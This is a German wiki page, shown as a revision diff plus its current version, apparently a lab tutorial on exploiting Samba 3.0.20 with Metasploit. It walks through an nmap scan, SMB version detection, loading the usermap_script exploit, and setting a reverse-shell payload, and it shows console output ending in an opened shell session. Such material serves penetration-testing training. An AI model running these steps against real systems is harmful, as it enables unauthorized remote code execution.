Metasploit Exploit und Payload (Samba): Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| (19 dazwischenliegende Versionen von 2 Benutzern werden nicht angezeigt) | |||
| Zeile 1: | Zeile 1: | ||
=Schwachstelle suchen= | =Schwachstelle suchen= | ||
| − | + | ==Mittels nmap einen Port suchen. In diesem Fall Samba== | |
| − | * | + | *nmap -sV 10.0.10.105 -p 445 |
| − | + | ... | |
| − | + | 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) | |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | 445/tcp | ||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
=Genaue Version= | =Genaue Version= | ||
| − | Durch nmap kann die genaue Version von Samba nicht gesehen werden. Deshalb wird ein Modul von Metasploit benötigt. | + | ;Durch nmap kann die genaue Version von Samba nicht gesehen werden. |
| − | + | ;Deshalb wird ein Modul von Metasploit benötigt. | |
| − | |||
| + | =msfconsole starten= | ||
| + | *msfconsole | ||
| + | ;Ab hier geht es in der msfconsole weiter | ||
| + | *msf6 > use auxiliary/scanner/smb/smb_version | ||
| + | ;Nun wird noch die RHOSTS (Die IP des Opfers) benötigt: | ||
| + | *msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.0.10.105 | ||
| + | ;Durch den Befehl '''show options''' werden die momentanen Einstellung gezeigt: | ||
| + | *msf6 auxiliary(scanner/smb/smb_version) > show options | ||
| + | ;Durch das absetzen von dem Befehl '''run''' kann nun die genaue Samba Version ermittelt werden | ||
| + | *msf6 auxiliary(scanner/smb/smb_version) > run | ||
| + | [*] 10.0.10.105:445 - Host could not be identified: Unix (Samba 3.0.20-Debian) | ||
| − | + | =Passendes Module suchen= | |
| − | * | + | ;Um nach Modulen zu suchen die wir nun für diese Version nutzen können muss folgender Befehl abgesetzt werden: |
| − | + | *search Samba 3.0.20 | |
| − | + | <pre> | |
| − | + | Matching Modules | |
| − | + | ================ | |
| − | |||
| − | + | # Name Disclosure Date Rank Check Description | |
| − | + | - ---- --------------- ---- ----- ----------- | |
| − | ---- | + | 0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | + | Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script | |
| − | + | </pre> | |
| − | |||
| − | + | =Laden das Modul= | |
| − | + | *use exploit/multi/samba/usermap_script | |
| − | + | ;Und mittels des Befehls '''info''' kann eine genaue Beschreibung des Modules eingesehen werden. | |
| − | + | ;Anhand der Beschreibung durch '''info''' kann erkannt werden, dass dieses Module zu unserer Version passt und wir hiermit Befehle auf dem Opfer ausführen können. | |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
=Konfiguration des Samba Modules= | =Konfiguration des Samba Modules= | ||
*Für das Module muss wieder der '''RHOST''' und ein '''PAYLOAD''' eingetragen werden. | *Für das Module muss wieder der '''RHOST''' und ein '''PAYLOAD''' eingetragen werden. | ||
===RHOST=== | ===RHOST=== | ||
| − | + | *msf6 exploit(multi/samba/usermap_script) > set RHOST 10.0.10.105 | |
| − | RHOST => 10. | + | RHOST => 10.0.10.105 |
| + | |||
===PAYLOAD=== | ===PAYLOAD=== | ||
| − | + | *msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse | |
PAYLOAD => cmd/unix/reverse | PAYLOAD => cmd/unix/reverse | ||
| + | ;Mit '''show options''' kann die momentane Konfiguration | ||
| + | *msf6 exploit(multi/samba/usermap_script) > show options | ||
| + | <pre> | ||
| + | Module options (exploit/multi/samba/usermap_script): | ||
| − | |||
| − | |||
| − | |||
| − | |||
Name Current Setting Required Description | Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ---- --------------- -------- ----------- | ||
| − | RHOSTS 10. | + | RHOSTS 10.0.10.105 yes The target host(s), range CIDR identifier, or hosts file with syn |
| + | tax 'file:<path>' | ||
RPORT 139 yes The target port (TCP) | RPORT 139 yes The target port (TCP) | ||
| − | + | ||
| − | + | ||
| + | Payload options (cmd/unix/reverse): | ||
| + | |||
Name Current Setting Required Description | Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ---- --------------- -------- ----------- | ||
| − | LHOST 10. | + | LHOST 10.0.10.101 yes The listen address (an interface may be specified) |
LPORT 4444 yes The listen port | LPORT 4444 yes The listen port | ||
| − | + | Exploit target: | |
| − | |||
| − | [*] Started reverse TCP double handler on 10. | + | Id Name |
| − | + | -- ---- | |
| − | + | 0 Automatic | |
| − | + | </pre> | |
| − | + | =Exploit ausführen= | |
| − | + | *msf6 exploit(multi/samba/usermap_script) > exploit | |
| − | + | <pre> | |
| − | + | [*] Started reverse TCP double handler on 10.0.10.101:4444 | |
| − | + | [*] Accepted the first client connection... | |
| − | + | [*] Accepted the second client connection... | |
| − | + | [*] Command: echo jEJ39DSiCoeqjn4t; | |
| − | + | [*] Writing to socket A | |
| + | [*] Writing to socket B | ||
| + | [*] Reading from sockets... | ||
| + | [*] Reading from socket B | ||
| + | [*] B: "jEJ39DSiCoeqjn4t\r\n" | ||
| + | [*] Matching... | ||
| + | [*] A is input... | ||
| + | [*] Command shell session 1 opened (10.0.10.101:4444 -> 10.0.10.105:39012) at 2021-06-30 17:32:28 +0200 | ||
| + | </pre> | ||
| + | ;Wir haben kein Prompt aber eine Shell | ||
Aktuelle Version vom 28. Juli 2021, 12:15 Uhr
Schwachstelle suchen
Mittels nmap einen Port suchen. In diesem Fall Samba
- nmap -sV 10.0.10.105 -p 445
... 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Genaue Version
- Durch nmap kann die genaue Version von Samba nicht gesehen werden.
- Deshalb wird ein Modul von Metasploit benötigt.
msfconsole starten
- msfconsole
- Ab hier geht es in der msfconsole weiter
- msf6 > use auxiliary/scanner/smb/smb_version
- Nun wird noch die RHOSTS (Die IP des Opfers) benötigt
- msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.0.10.105
- Durch den Befehl show options werden die momentanen Einstellung gezeigt
- msf6 auxiliary(scanner/smb/smb_version) > show options
- Durch das absetzen von dem Befehl run kann nun die genaue Samba Version ermittelt werden
- msf6 auxiliary(scanner/smb/smb_version) > run
[*] 10.0.10.105:445 - Host could not be identified: Unix (Samba 3.0.20-Debian)
Passendes Module suchen
- Um nach Modulen zu suchen die wir nun für diese Version nutzen können muss folgender Befehl abgesetzt werden
- search Samba 3.0.20
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
Laden das Modul
- use exploit/multi/samba/usermap_script
- Und mittels des Befehls info kann eine genaue Beschreibung des Modules eingesehen werden.
- Anhand der Beschreibung durch info kann erkannt werden, dass dieses Module zu unserer Version passt und wir hiermit Befehle auf dem Opfer ausführen können.
Konfiguration des Samba Modules
- Für das Module muss wieder der RHOST und ein PAYLOAD eingetragen werden.
RHOST
- msf6 exploit(multi/samba/usermap_script) > set RHOST 10.0.10.105
RHOST => 10.0.10.105
PAYLOAD
- msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
- Mit show options kann die momentane Konfiguration
- msf6 exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.0.10.105 yes The target host(s), range CIDR identifier, or hosts file with syn
tax 'file:<path>'
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.0.10.101 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Exploit ausführen
- msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP double handler on 10.0.10.101:4444 [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo jEJ39DSiCoeqjn4t; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "jEJ39DSiCoeqjn4t\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (10.0.10.101:4444 -> 10.0.10.105:39012) at 2021-06-30 17:32:28 +0200
- Wir haben kein Prompt aber eine Shell